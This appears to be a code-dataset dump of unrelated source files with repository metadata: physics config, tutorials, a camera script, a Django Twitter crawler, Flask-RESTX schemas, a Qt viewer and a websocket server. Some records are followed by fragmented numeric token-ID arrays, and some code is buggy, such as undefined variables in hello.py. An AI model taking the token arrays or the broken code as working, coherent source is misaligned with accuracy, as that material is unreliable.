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CondTools/Ecal/test/preshower/writeESGain_LG.py | SWuchterl/cmssw | 6 | 1609228 | import FWCore.ParameterSet.Config as cms
process = cms.Process("TEST")
#process.load("CondCore.DBCommon.CondDBCommon_cfi")
process.load("CondCore.CondDB.CondDB_cfi")
process.CondDB.connect = 'sqlite_file:ESGain_LG.db'
process.MessageLogger = cms.Service("MessageLogger",
debugModules = cms.untracked.vstring('*'),
destinations = cms.untracked.vstring('cout')
)
process.source = cms.Source("EmptyIOVSource",
firstValue = cms.uint64(1),
lastValue = cms.uint64(1),
timetype = cms.string('runnumber'),
interval = cms.uint64(1)
)
process.PoolDBOutputService = cms.Service("PoolDBOutputService",
process.CondDB,
timetype = cms.untracked.string('runnumber'),
toPut = cms.VPSet(cms.PSet(
# gain
record = cms.string('ESGainRcd'),
tag = cms.string('ESGain_LG')
)))
process.ecalModule = cms.EDAnalyzer("StoreESCondition",
logfile = cms.string('./logfile.log'),
gain = cms.uint32(1),
toPut = cms.VPSet(cms.PSet(
# gain
conditionType = cms.untracked.string('ESGain'),
since = cms.untracked.uint32(1),
inputFile = cms.untracked.string('CondTools/Ecal/test/preshower/ESGain_LG.txt')
)))
process.p = cms.Path(process.ecalModule)
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python-fundamentals/day-5-Tuples/python-tuples-basics.py | laminsawo/python-365-days | 0 | 74012 | <reponame>laminsawo/python-365-days
# A tuple operates like a list but it's initial values can't be modified
# Tuples are declared using the ()
# Use case examples of using Tuple - Dates of the week, Months of the Year, Hours of the clock
# we can create a tuple like this...
monthsOfTheYear = ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec")
# Prints all the items in the tuple
print(monthsOfTheYear)
# prints an item in the tuple
print(monthsOfTheYear[0])
print(monthsOfTheYear[:3])
# If we try to run the code below it will error
# This is because we are change a value in the tuple, which is not allowed!
# monthsOfTheYear[0] = "January"
# Other operations we can do with tuples
# find an item in the tuple
myTuple = ('Mon', 'Tue', 'Wed', 'Thurs', 'Fri', 'Sat', 'Sun')
print(len(myTuple))
print(sorted(myTuple))
names = ['John', 'Lamin', 'Vicky', 'Jasmine']
print(names * 3) | [
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main.py | adadesions/chicken_farm | 0 | 120817 | <gh_stars>0
import cv2
import pyzed.sl as sl
import numpy as np
import time
def print_camera_information(cam):
print("Resolution: {0}, {1}.".format(round(cam.get_resolution().width, 2), cam.get_resolution().height))
print("Camera FPS: {0}.".format(cam.get_camera_fps()))
print("Firmware: {0}.".format(cam.get_camera_information().firmware_version))
print("Serial number: {0}.\n".format(cam.get_camera_information().serial_number))
def init_cam():
camera_settings = sl.CAMERA_SETTINGS.CAMERA_SETTINGS_BRIGHTNESS
str_camera_settings = "BRIGHTNESS"
step_camera_settings = 1
init_params = sl.InitParameters()
init_params.depth_mode = sl.DEPTH_MODE.DEPTH_MODE_PERFORMANCE
init_params.coordinate_units = sl.UNIT.UNIT_CENTIMETER
cam = sl.Camera()
if not cam.is_opened():
print("Opening ZED Camera...")
status = cam.open(init_params)
if status != sl.ERROR_CODE.SUCCESS:
print(repr(status))
exit()
return cam
def init_runtime():
runtime = sl.RuntimeParameters()
runtime.sensing_mode = sl.SENSING_MODE.SENSING_MODE_STANDARD
return runtime
def frame_center(width, height):
return (width//2, height//2)
def norm(x):
sum_ = sum([k*k for k in x])
return np.sqrt(sum_)
def avg_distance(pixel_rect, threshold):
len_ = len(pixel_rect)
sum_ = 0
for i, pixels in enumerate(pixel_rect):
temp = norm(pixels)
if temp < threshold:
sum_ += temp
print('dis:', temp)
else:
len_ -= 1
try:
return sum_/len_
except ZeroDivisionError:
return 0
def create_circle(disp_img, center, distance, color=(0, 0, 255)):
FONT = cv2.FONT_HERSHEY_SIMPLEX
FONT_SIZE = 1
cv2.circle(disp_img, center, 5, color, -1)
if not np.isnan(distance) and not np.isinf(distance):
print('distance:', distance, 'cm')
cv2.circle(disp_img, center, np.int(distance-50), color, 2)
cv2.putText(
disp_img,
'{} cm'.format(distance),
(center[0], center[1]-30),
FONT,
FONT_SIZE,
(0, 255, 0),
2,
cv2.LINE_AA
)
else:
print("Can't estimate distance at this position, move the camera\n")
cv2.circle(disp_img, center, 5, color, -1)
cv2.putText(
disp_img,
'< 70 cm',
(center[0], center[1]-10),
FONT,
FONT_SIZE,
(0, 0, 255),
2,
cv2.LINE_AA
)
def create_rect(disp_img, cx, cy, pts_cloud, diag=40, color=(0, 0, 255)):
tl, tr = (cx-diag, cy-diag), (cx+diag, cy-diag)
bl, br = (cx-diag, cy+diag), (cx+diag, cy+diag)
cv2.rectangle(disp_img, tl, br, (0, 0, 255), 2)
pixel_rect = []
step = 10
for col in range(tl[0], br[0]+1, step):
for row in range(tl[1], br[1]+1, step):
err, pixel = pts_cloud.get_value(col, row)
pixel_rect.append(pixel[:3])
avg_cm = avg_distance(pixel_rect, threshold=120)
cv2.putText(
disp_img,
'{:.2f} cm'.format(avg_cm),
tr,
cv2.FONT_HERSHEY_SIMPLEX,
1,
(0, 255, 0),
2,
cv2.LINE_AA
)
return avg_cm
def main():
print("Running...")
cam = init_cam()
runtime = init_runtime()
img = sl.Mat()
depth = sl.Mat()
point_cloud = sl.Mat()
dx_list = [x for x in range(0, 300, 300)]
colors = []
for i in range(len(dx_list)):
colors.append(np.random.randint(0, 256, 3).tolist())
key = ''
while key != 113: # press 'q' to exit
err = cam.grab(runtime)
if err == sl.ERROR_CODE.SUCCESS:
# Recieve image and measurement
cam.retrieve_image(img, sl.VIEW.VIEW_LEFT)
cam.retrieve_measure(depth, sl.MEASURE.MEASURE_DEPTH)
cam.retrieve_measure(point_cloud, sl.MEASURE.MEASURE_XYZRGBA)
disp_img = img.get_data()
(cx, cy) = frame_center(img.get_width(), img.get_height())
# Drawing and Calculate area in rectangle
avg_area1 = create_rect(disp_img, cx, cy, point_cloud, diag=40, color=(0, 0, 255))
# avg_area2 = create_rect(disp_img, 300, 300, point_cloud, diag=40, color=(255, 0, 0))
# Drawing Circle
# for dx, color in zip(dx_list, colors):
# error, pc = point_cloud.get_value(cx+dx, cy)
# distance = np.round(norm(pc[:3]), decimals=2)
# create_circle(disp_img, (cx+dx, cy), distance, color)
cv2.imshow("Chicken Farm", disp_img)
key = cv2.waitKey(5)
# Delay
time.sleep(0.01)
# Writing to disk
with open('avg_log.txt', 'a') as file:
file.writelines('{:.2f},\n'.format(avg_area1))
else:
key = cv2.waitKey(5)
cam.close()
print('Closed camera')
if __name__ == '__main__':
main() | [
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aiida/backends/djsite/db/migrations/0006_delete_dbpath.py | louisponet/aiida-core | 1 | 1610804 | # -*- coding: utf-8 -*-
###########################################################################
# Copyright (c), The AiiDA team. All rights reserved. #
# This file is part of the AiiDA code. #
# #
# The code is hosted on GitHub at https://github.com/aiidateam/aiida-core #
# For further information on the license, see the LICENSE.txt file #
# For further information please visit http://www.aiida.net #
###########################################################################
# pylint: disable=invalid-name
"""Database migration."""
from django.db import migrations
from aiida.backends.djsite.db.migrations import upgrade_schema_version
REVISION = '1.0.6'
DOWN_REVISION = '1.0.5'
class Migration(migrations.Migration):
"""Database migration."""
dependencies = [
('db', '0005_add_cmtime_indices'),
]
operations = [
migrations.RemoveField(
model_name='dbpath',
name='child',
),
migrations.RemoveField(
model_name='dbpath',
name='parent',
),
migrations.RemoveField(
model_name='dbnode',
name='children',
),
migrations.DeleteModel(name='DbPath',),
migrations.RunSQL(
"""
DROP TRIGGER IF EXISTS autoupdate_tc ON db_dblink;
DROP FUNCTION IF EXISTS update_tc();
"""
),
upgrade_schema_version(REVISION, DOWN_REVISION)
]
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] |
raspberry-pi.py | Jiivee/hue-raspberry-motion-sensor | 0 | 1612537 | import requests
import RPi.GPIO as GPIO
import time
sensor = 4
GPIO.setmode(GPIO.BCM)
GPIO.setup(sensor, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
previous_state = False
current_state = False
last_movement = time.time()
light_on = False
while True:
time.sleep(0.5)
previous_state = current_state
current_state = GPIO.input(sensor)
if current_state != previous_state:
print("Current state: ", current_state)
#Send data to server.
r = requests.post('http://192.168.1.4:3003/motion', data = {'on' : current_state}) | [
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crawler/views.py | kuna/twfavcrawler | 0 | 37028 | <reponame>kuna/twfavcrawler
from django.shortcuts import render, redirect
from django.http import HttpResponse, HttpResponseRedirect, JsonResponse
from models import *
import twitter
# -------------------------------
def main(request):
return render(request, "main.htm")
# if not logined, then go to auth page first
def dashboard(request):
token = request.session.get('access_token')
if (token == None):
return redirect('/auth/')
try:
user_obj = User.objects.get(token=token[0])
return render(request, "dashboard.htm", {
"userid": user_obj.id,
"username": user_obj.screen_name,
})
except Exception as e:
raise e
# return HttpResponse('user cannot found', status=500)
# -------------------------------
# if not logined, send to twitter auth page
# otherwise, send to dashboard page
def auth(request):
auth = twitter.CreateBasicAuth()
verifier = request.GET.get('oauth_verifier')
if (verifier == None):
redirect_url = auth.get_authorization_url()
request.session['request_token'] = auth.request_token
return redirect(redirect_url)
else:
token = request.session.get('request_token')
auth.request_token = token
try:
token = auth.get_access_token(verifier)
except tweepy.TweepError:
return HttpResponse('auth error', status=500)
# save access token
access_token = (auth.access_token, auth.access_token_secret)
request.session['access_token'] = access_token
# save user id, name, tokens to DB
api = twitter.CreateApi(auth, access_token)
user_obj = api.me()
request.session['twitter_id'] = user_obj.id
User.objects.update_or_create(
id=user_obj.id,
screen_name=user_obj.screen_name,
name=user_obj.name,
token=access_token[0],
token_secret=access_token[1]
)
return redirect('/dashboard/')
# just remove token and redirect to home
def logout(request):
request.session.pop('access_token')
return redirect('/')
# ------------------------------------------------
# get current status of archive processing
def api_getstatus(request, userid):
try:
userobj = User.objects.get(id=userid)
task = Task.objects.filter(user=userobj, status=0)
if (task):
task = task.latest('date')
return JsonResponse({'success': 1,
'message': task.message,
'value': task.current / task.total})
else:
return JsonResponse({'success': 0,
'message': 'No task exists.'})
except Exception as e:
return JsonResponse({'success': 0,
'message': 'invalid user'})
# make test tweet
def api_testtwit(request, userid):
token = request.session.get('access_token')
if (token == None):
return JsonResponse({'success': 0,
'message': 'login please'})
api = twitter.CreateApi(token)
api.update_status('test - http://tw.insane.pe.kr')
return JsonResponse({'success': 1,
'message': 'ok'})
# just make task stop
# TODO what task? - currently most recent one.
def api_taskstop(request, userid):
token = request.session.get('access_token')
if (token == None):
return JsonResponse({'success': 0,
'message': 'login please'})
try:
userobj = User.objects.get(id=userid)
task = Task.objects.filter(user=userobj, status=0)
if (task.count() > 0):
task = task.latest('date')
task.status = 2
task.message = "Stopped"
task.save()
return JsonResponse({'success': 1,
'message': 'Stopped task successfully'})
else:
return JsonResponse({'success': 0,
'message': 'No task exists.'})
except Exception as e:
raise e
# return JsonResponse({'success': 0,
# 'message': 'invalid user'})
# make job
def api_favcrawler(request, userid):
token = request.session.get('access_token')
if (token == None):
return JsonResponse({'success': 0,
'message': 'login please'})
api = twitter.CreateApi(token)
try:
userobj = User.objects.get(id=userid)
task = Task.objects.filter(user=userobj, status=0)
if (task.count() == 0 and twitter.Task_CrawlFavTweet(api)):
return JsonResponse({'success': 1,
'message': 'Started task successfully'})
else:
return JsonResponse({'success': 0,
'message': 'Currently running task exists!'})
except Exception as e:
raise e
# return JsonResponse({'success': 0,
# 'message': 'under construction'})
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408,
321,
29901,
13,
4706,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
9651,
525,
4906,
2396,
525,
20965,
1404,
29915,
1800,
13,
13,
29937,
1207,
1243,
7780,
300,
13,
1753,
7882,
29918,
1688,
7516,
277,
29898,
3827,
29892,
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333,
1125,
13,
1678,
5993,
353,
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29889,
7924,
29889,
657,
877,
5943,
29918,
6979,
1495,
13,
1678,
565,
313,
6979,
1275,
6213,
1125,
13,
4706,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
9651,
525,
4906,
2396,
525,
7507,
3113,
29915,
1800,
13,
1678,
7882,
353,
23394,
29889,
4391,
11713,
29898,
6979,
29897,
13,
1678,
7882,
29889,
5504,
29918,
4882,
877,
1688,
448,
1732,
597,
7516,
29889,
1144,
1662,
29889,
412,
29889,
12748,
1495,
13,
1678,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29896,
29892,
13,
4706,
525,
4906,
2396,
525,
554,
29915,
1800,
13,
13,
29937,
925,
1207,
3414,
5040,
13,
29937,
14402,
825,
3414,
29973,
448,
5279,
1556,
7786,
697,
29889,
13,
1753,
7882,
29918,
7662,
9847,
29898,
3827,
29892,
1404,
333,
1125,
13,
1678,
5993,
353,
2009,
29889,
7924,
29889,
657,
877,
5943,
29918,
6979,
1495,
13,
1678,
565,
313,
6979,
1275,
6213,
1125,
13,
4706,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
9651,
525,
4906,
2396,
525,
7507,
3113,
29915,
1800,
13,
13,
1678,
1018,
29901,
13,
4706,
1404,
5415,
353,
4911,
29889,
12650,
29889,
657,
29898,
333,
29922,
1792,
333,
29897,
13,
4706,
3414,
353,
9330,
29889,
12650,
29889,
4572,
29898,
1792,
29922,
1792,
5415,
29892,
4660,
29922,
29900,
29897,
13,
4706,
565,
313,
7662,
29889,
2798,
580,
1405,
29871,
29900,
1125,
13,
9651,
3414,
353,
3414,
29889,
12333,
877,
1256,
1495,
13,
9651,
3414,
29889,
4882,
353,
29871,
29906,
13,
9651,
3414,
29889,
4906,
353,
376,
20754,
2986,
29908,
13,
9651,
3414,
29889,
7620,
580,
13,
9651,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29896,
29892,
13,
18884,
525,
4906,
2396,
525,
20754,
2986,
3414,
8472,
29915,
1800,
13,
4706,
1683,
29901,
13,
9651,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
18884,
525,
4906,
2396,
525,
3782,
3414,
4864,
6169,
1800,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
12020,
321,
13,
29937,
4706,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
29937,
9651,
525,
4906,
2396,
525,
20965,
1404,
29915,
1800,
13,
13,
29937,
1207,
4982,
13,
1753,
7882,
29918,
29888,
485,
29883,
1610,
1358,
29898,
3827,
29892,
1404,
333,
1125,
13,
1678,
5993,
353,
2009,
29889,
7924,
29889,
657,
877,
5943,
29918,
6979,
1495,
13,
1678,
565,
313,
6979,
1275,
6213,
1125,
13,
4706,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
9651,
525,
4906,
2396,
525,
7507,
3113,
29915,
1800,
13,
1678,
7882,
353,
23394,
29889,
4391,
11713,
29898,
6979,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
1404,
5415,
353,
4911,
29889,
12650,
29889,
657,
29898,
333,
29922,
1792,
333,
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13,
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3414,
353,
9330,
29889,
12650,
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4572,
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1792,
29922,
1792,
5415,
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29900,
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565,
313,
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2798,
580,
1275,
29871,
29900,
322,
23394,
29889,
5398,
29918,
29907,
1610,
29880,
29943,
485,
29911,
16668,
29898,
2754,
22164,
13,
9651,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29896,
29892,
13,
18884,
525,
4906,
2396,
525,
4763,
287,
3414,
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29915,
1800,
13,
4706,
1683,
29901,
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736,
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5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
18884,
525,
4906,
2396,
525,
7583,
368,
2734,
3414,
4864,
20714,
1800,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
12020,
321,
13,
29937,
4706,
736,
14355,
5103,
3319,
29915,
8698,
2396,
29871,
29900,
29892,
13,
29937,
9651,
525,
4906,
2396,
525,
5062,
7632,
29915,
1800,
13,
2
] |
Chapter8/study8_10.py | nicuo/Python3 | 0 | 162127 | <gh_stars>0
import sqlalchemy
conn = sqlalchemy.create_engine('sqlite:///books.db')
sql = 'select title from book order by title asc'
rows = conn.execute(sql)
for row in rows:
print(row)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
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284,
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1948,
297,
4206,
29901,
13,
1678,
1596,
29898,
798,
29897,
13,
2
] |
Operation/Sub.py | janvi16/-HACKTOBERFEST2K20 | 0 | 41881 | <reponame>janvi16/-HACKTOBERFEST2K20<gh_stars>0
#python program to subtract two numbers using function
def subtraction(x,y): #function definifion for subtraction
sub=x-y
return sub
num1=int(input("please enter first number: "))#input from user to num1
num2=int(input("please enter second number: "))#input from user to num2
print("Subtraction is: ",subtraction(num1,num2))#call the function
| [
1,
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428,
29898,
1949,
29896,
29892,
1949,
29906,
876,
29937,
4804,
278,
740,
13,
2
] |
catalogueapi/api/serializers.py | OpertusMundi/catalogue-service | 0 | 1612639 | <gh_stars>0
from flask_restx import fields, inputs
from catalogueapi.api.restx import api
polygon = api.model('polygon geometry', {
'type': fields.String(description='Type of geometry', default="Polygon"),
'coordinates': fields.List(fields.List(
fields.List(fields.Float, type="Array"),
required=True,
default=[[13.4197998046875, 52.52624809700062],
[13.387527465820312, 52.53084314728766],
[13.366928100585938, 52.50535544522142],
[13.419113159179688, 52.501175722709434],
[13.4197998046875, 52.52624809700062]]
)
)
})
keyword = api.model('keyword', {
'keyword': fields.String(description='keyword value'),
'theme': fields.String(description='a related theme')
} )
scale = api.model('scale', {
'scale': fields.Integer(description='scale value'),
'description': fields.String(description='a short description')
} )
additional_resources = api.model('additional_resources', {
'id': fields.String(),
'type': fields.String(),
'value': fields.String(),
'name': fields.String(),
'size': fields.Integer(),
'modified_on': fields.DateTime()
} )
attributes = api.model('attributes', {
'queryable': fields.Boolean(),
'cascaded': fields.Boolean(),
'opaque': fields.Boolean(),
'no_subsets': fields.Boolean(),
'fixed_width': fields.Integer(),
'fixed_height': fields.Integer(),
})
dimension = api.model('dimension', {
'name': fields.String(),
'unit': fields.String(),
'default': fields.String(),
'values': fields.List(fields.String()),
})
resource = api.model('resource', {
'id': fields.String(),
'parent_id': fields.String(),
'filename': fields.String(),
'endpoint': fields.String(),
'size': fields.Integer(),
'type': fields.String(enum=['FILE', 'SERVICE', 'ASSET']),
'category': fields.String(enum=['VECTOR', 'RASTER', 'NETCDF', 'TABULAR', 'BUNDLE', 'SERVICE']),
'service_type': fields.String(enum=["TMS", "WMS", "WFS", "WCS", "CSW", "Data API", "OGC API"]),
'format': fields.String(),
'encoding': fields.String(),
'modified_on': fields.DateTime(),
'style': fields.List(fields.String()),
'crs': fields.List(fields.String()),
'bbox': fields.Raw(),
'dimension': fields.List(fields.Nested(dimension)),
'output_formats': fields.List(fields.String()),
'filter_capabilities': fields.List(fields.String()),
'attribution': fields.String(),
'min_scale': fields.Integer(),
'max_scale': fields.Integer(),
'attributes': fields.Nested(attributes)
} )
responsible_party = api.model('responsible_party', {
'name': fields.String(description = 'Name of person responsible for making the resource available'),
'organization_name': fields.String(description = 'Name of entity responsible for making the resource available'),
'email': fields.String(description = 'Email of entity responsible for making the resource available'),
'phone': fields.String(description = 'Email of entity responsible for making the resource available'),
'address': fields.String(description = 'Address of entity responsible for making the resource available'),
'service_hours': fields.String(description = 'Contact hours of entity responsible for making the resource available'),
'role': fields.String(description='Role of entity responsible for making the resource available',
enum=['publisher', 'owner', 'custodian', 'user', 'distributor', 'originator', 'point of contact', 'processor', 'author']),
} )
properties = api.model('properties of an item', {
'title': fields.String(description='A name given to the resource', required=True),
'abstract': fields.String(description='An abstract of the resource'),
'type': fields.String(description='The nature or genre of the resource', enum = ["raster", "vector", "service", "tabular", "bundle", "netcdf"]),
'spatial_data_service_type': fields.String(description='The nature or genre of the service', enum=["TMS", "WMS", "WFS", "WCS", "CSW", "Data API", "OGC API"]),
'spatial_data_service_version': fields.String(description='The version of the implemented service specification'),
'spatial_data_service_operations': fields.List(fields.String(description='The operations supported by the service')),
'spatial_data_service_queryables': fields.List(fields.String(description='The queryables supported by the service')),
'format': fields.String(description='The file format, physical medium, or dimensions of the resource'),
'keywords': fields.List(fields.Nested(keyword,description='The topic of the resource')),
'responsible_party': fields.List(fields.Nested(responsible_party,description='The responsible party (including contact information) of the resource')),
'publisher_name': fields.String(description='Name of an entity responsible for making the resource available'),
'publisher_email': fields.String(description='Email of an entity responsible for making the resource available'),
'publisher_id': fields.String(description='Id of an entity responsible for making the resource available'),
'language': fields.String(description='A language of the resource'),
'status': fields.String(readonly = True, description='The status of the item'),
'date_start': fields.Date(description='The temporal extent of the resource (start date)'),
'date_end': fields.Date(description='The temporal extent of the resource (end date))'),
'creation_date': fields.Date(description='A point or period of time associated with the creation event \
in the lifecycle of the resource'),
'publication_date': fields.Date(description='A point or period of time associated with the publication event \
in the lifecycle of the resource'),
'revision_date': fields.Date(description='A point or period of time associated with the revision event \
in the lifecycle of the resource '),
'resource_locator': fields.String(description='The ‘navigation section’ of a metadata record which point users to the location (URL) \
where the data can be downloaded, or to where additional information about the resource may be provided'),
'license': fields.String(description='Information about resource licensing'),
'open_dataset': fields.Boolean(description='Used for declaring open datasets.'),
'topic_category': fields.List(fields.String(description='A high-level classification scheme to assist in the grouping and topic-based \
search of available spatial data resources', enum=["Biota", "Boundaries", "Climatology / Meteorology / Atmosphere", "Economy", "Elevation", "Environment",
"Farming", "Geoscientific Information", "Health", "Imagery / Base Maps / Earth Cover", "Inland Waters", "Intelligence / Military", "Location", "Oceans",
"Planning / Cadastre", "Society", "Structure", "Transportation", "Utilities / Communication"])),
'reference_system': fields.String(description='Information about the reference system'),
'spatial_resolution': fields.Integer(description='Spatial resolution refers to the level of detail of the data set'),
'scales': fields.List(fields.Nested(scale,description='Scale refers to the level of detail of the data set')),
'conformity': fields.String(description='Degree of conformity with the implementing rules/standard of the metadata followed', enum=["conformant", "not conformant", "not evaluated"]),
'additional_resources': fields.List(fields.Nested(additional_resources,description='Auxiliary files or additional resources to the dataset.')),
'public_access_limitations': fields.String(description='Information on the limitations and the reasons for them'),
'version': fields.String( description='Version of the resource'),
'metadata_language': fields.String(description='The language in which the metadata elements are expressed'),
'metadata_point_of_contact_name': fields.String(description='The name of the organisation responsible for the creation \
and maintenance of the metadata'),
'metadata_point_of_contact_email': fields.String(description='The email of the organisation responsible for the creation \
and maintenance of the metadata'),
'metadata_date': fields.Date(description='The date which specifies when the metadata record was created or updated'),
'metadata_version': fields.String(readOnly=True, description='Version of the metadata record'),
'use_only_for_vas': fields.Boolean(description='Applicable for vector or raster items'),
'vetting_required': fields.Boolean(description='Used for customer vetting'),
'ingestion_info': fields.List(fields.Raw(description='Ingestion information (JSON)')),
'resources': fields.List(fields.Nested(resource,description='Provides a list of resources of the dataset.')),
'lineage': fields.String(description='General explanation of the data producer’s knowledge about the lineage of a dataset'),
'parent_id': fields.String(description='Provides the ID of a parent dataset.'),
'parent_data_source_id': fields.String(description='Provides the ID of the parent data source.'),
'suitable_for': fields.List(fields.String(description='A description of geospatial analysis or processing that the dataset is suitable for')),
'automated_metadata': fields.List(fields.Raw(description='Automated metadata of the dataset (JSON)')),
'visibility': fields.List(fields.String(), description='Hidden automated metadata properties'),
'contract_template_id': fields.Integer(description='The id of the template contract'),
'contract_template_version': fields.String(description='The version of the template contract'),
'pricing_models': fields.List(fields.Raw(description='Pricing models of the dataset (JSON)')),
'statistics': fields.Raw(description='Statistics about the store (JSON))'),
'delivery_method': fields.String(readOnly=True, description='Delivery method of the asset', enum = ["digital_platform", "digital_provider", "physical_provider", "none"]),
'versions': fields.List(fields.String(), description='All versions of the resource'),
})
item_geojson = api.model('the item in geojson format',{
'id': fields.String(readOnly=True, description='An unambiguous reference to the resource within a given context'),
'type': fields.String(description='The type of the geojson', default='Feature'),
'geometry': fields.Nested(polygon, description='The spatial extent of the resource, the spatial \
applicability of the resource, or the jurisdiction under which the resource is relevant.', allow_null=True),
'properties':fields.Nested(properties, description='The properties of the geojson.',required=True)
})
page_of_items = api.model('a page of results', {
'items': fields.List(fields.Nested(item_geojson, description='Returned geojson objects')),
'page': fields.Integer(description='Number of this page of results'),
'pages': fields.Integer(description='Total number of pages of results'),
'per_page': fields.Integer(description='Number of items per page of results'),
'total': fields.Integer(description='Total number of results'),
})
| [
1,
529,
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29918,
303,
1503,
29958,
29900,
13,
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29784,
29918,
5060,
29916,
1053,
4235,
29892,
10970,
13,
3166,
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434,
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5060,
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1053,
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13,
13,
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29889,
29945,
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518,
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29892,
29871,
29945,
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29947,
29945,
29929,
29941,
29947,
29892,
29871,
29945,
29906,
29889,
29945,
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] |
signal_viewer/Window.py | dozou/pyio_plugins | 0 | 82874 | <gh_stars>0
# -*- coding: utf-8 -*-
from pyio.DataSturucture import DataContainer
from pyio.Window.LineEdit import LabelOnSpinBox, RangeView
from signal_viewer.Charts import ChartObject
from PyQt5.QtWidgets import QWidget, QVBoxLayout, QHBoxLayout, QGroupBox, QLabel, QPushButton
from PyQt5.QtGui import QPainter
from PyQt5.QtChart import QChartView
from PyQt5.Qt import Qt
import numpy as np
class ChartWidget(QWidget):
def __init__(self, device, parent=None):
super().__init__(parent)
self.ch = ChartObject(devices=device)
self.view = QChartView(self.ch.chart)
self.view.setRenderHint(QPainter.Antialiasing)
layout = QVBoxLayout()
layout.addWidget(self.view)
self.setLayout(layout)
self.resize(500, 800)
self.color = Qt.black
def set_title(self, title):
self.ch.chart.setTitle(title)
# def set_data(self, device, color):
# self.color = color
# self.device = device
class ControlPanel(QGroupBox):
def __init__(self, chart:ChartWidget):
super(ControlPanel, self).__init__()
self.ch = chart
self.setTitle("操作")
self.y_range = RangeView(-5, 5)
self.y_range.changed_value(self.update_y_range)
self.auto_detect_button = QPushButton("Auto")
self.auto_detect_button.clicked.connect(self.__auto_y_range)
self.x_range = RangeView()
self.x_range.changed_value(self.update_x_range)
# self.y_plus_range = LabelOnSpinBox("+Y",1000, 5)
# self.y_minus_range = LabelOnSpinBox("-Y", 1000, -5)
layout = QVBoxLayout()
layout.addWidget(QLabel("Y-Range"))
layout.addWidget(self.y_range)
layout.addWidget(self.auto_detect_button)
layout.addWidget(QLabel("X-Range"))
layout.addWidget(self.x_range)
# layout.addWidget(self.y_plus_range)
# layout.addWidget(self.y_minus_range)
layout.addStretch()
self.setLayout(layout)
self.__auto_y_range()
def update_y_range(self):
self.ch.ch.set_y_range(self.y_range.get_value()[0], self.y_range.get_value()[1])
def update_x_range(self):
self.ch.ch.set_x_range(self.x_range.get_value()[0], self.x_range.get_value()[1])
def __auto_y_range(self):
max = 0
min = 0
for dev in self.ch.ch.device:
d = dev.get_1d_array()
max_temp = np.max(d)
min_temp = np.min(d)
if max_temp > max:
max = max_temp
if min_temp < min:
min = min_temp
self.ch.ch.set_y_range(min, max)
self.y_range.start.setValue(min)
self.y_range.stop.setValue(max)
class Viewer(QWidget):
def __init__(self,parent=None, data: DataContainer=None):
super().__init__(parent)
device = data.device
self.setWindowTitle("RawSignalViewer")
self.chart_widgets = []
self.ai_device_name = set()
for i in device:
if i.info["type"] == "ai":
self.ai_device_name.add(i.info['name'])
sorted(self.ai_device_name)
for name in self.ai_device_name:
l = []
for i in device:
if name == i.info['name'] and "ai" == i.info['type']:
l.append(i)
ch = ChartWidget(device=l)
ch.set_title(name)
self.chart_widgets.append(ch)
#
main_layout = QVBoxLayout()
# main_layout.addWidget(self.ctrl_panel)
for i, obj in enumerate(self.chart_widgets):
layout = QHBoxLayout()
layout.addWidget(obj)
layout.addWidget(ControlPanel(obj))
main_layout.addLayout(layout)
self.setLayout(main_layout)
self.resize(1000, 500)
def hideEvent(self, e):
for i in self.chart_widgets:
i.ch.timer.stop()
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settings/GonY_settings.py | bopopescu/Lauecollect | 0 | 1610982 | prefix = '14IDB:m153'
description = 'Alio Y'
target = 0.48996875
EPICS_enabled = True | [
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hello.py | LMiceOrg/postdoc-voting | 0 | 4770 | #coding: utf-8
import sys
import os
import asyncio
import websockets
import json
import socket
import xlrd
#global vars
phd_data = None
pro_data = None
def get_host_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.127.12', 65535))
ip = s.getsockname()[0]
finally:
s.close()
return ip
def read_xls(name):
try:
book = xlrd.open_workbook(name)
except:
print("Open Excel(%s) failed!" % name)
for i in range(book.nsheets):
s = book.sheet_by_index(i)
sname = s.name
svalue = list()
for r in range(s.nrows):
svalue.append( s.row_values(r) )
ctx[i] = (sname, svalue)
return ctx
#生成json
def gen_pro():
ret = {
"header": [
{
"name": "id",
"title": "ID",
"size": 50,
"sortable": True,
"sortDir": "asc",
"format": "number"
},
{
"name": "name",
"title": "Name",
"sortable": True
},
{
"name": "start",
"title": "Start",
"sortable": True,
"size": 150,
"format": "date",
"formatMask": "dd-mm-yyyy"
},
{
"name": "age",
"title": "Age",
"sortable": True,
"size": 80
},
{
"name": "salary",
"title": "Salary",
"sortable": True,
"size": 150,
"format": "money",
"show": True
}
],
"data":[]
}
return ret
async def proc_msg(ws, msg):
method = msg.get('method')
if method == 'host_ip':
ip=get_host_ip()
ret = {
"method":method,
"type":'success',
'return':ip
}
await ws.send(json.dumps(ret))
elif method=='genpro':
phd_file = msg.get('phd_file')
if phd_file:
phd_data = read_xls(phd_file)
pro_file = msg.get('pro_file')
if pro_file:
pro_data = read_xls(pro_file)
data = gen_pro()
ret = {
"method":method,
"type":'success',
'return':data
}
await ws.send(json.dumps(ret))
else:
ret = {'type':'unknown'}
await ws.send(json.dumps(ret))
async def recv_msg(websocket):
while True:
recv_text = await websocket.recv()
try:
msg = json.loads(recv_text)
await proc_msg(websocket, msg)
except:
ret = {'type':'error'}
await ws.send(json.dumps(ret))
async def main_logic(websocket, path):
await recv_msg(websocket)
port = 5678
if len(sys.argv) >=2:
port = sys.argv[1]
ws_server = websockets.serve(main_logic, '0.0.0.0', port)
asyncio.get_event_loop().run_until_complete(ws_server)
asyncio.get_event_loop().run_forever()
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] |
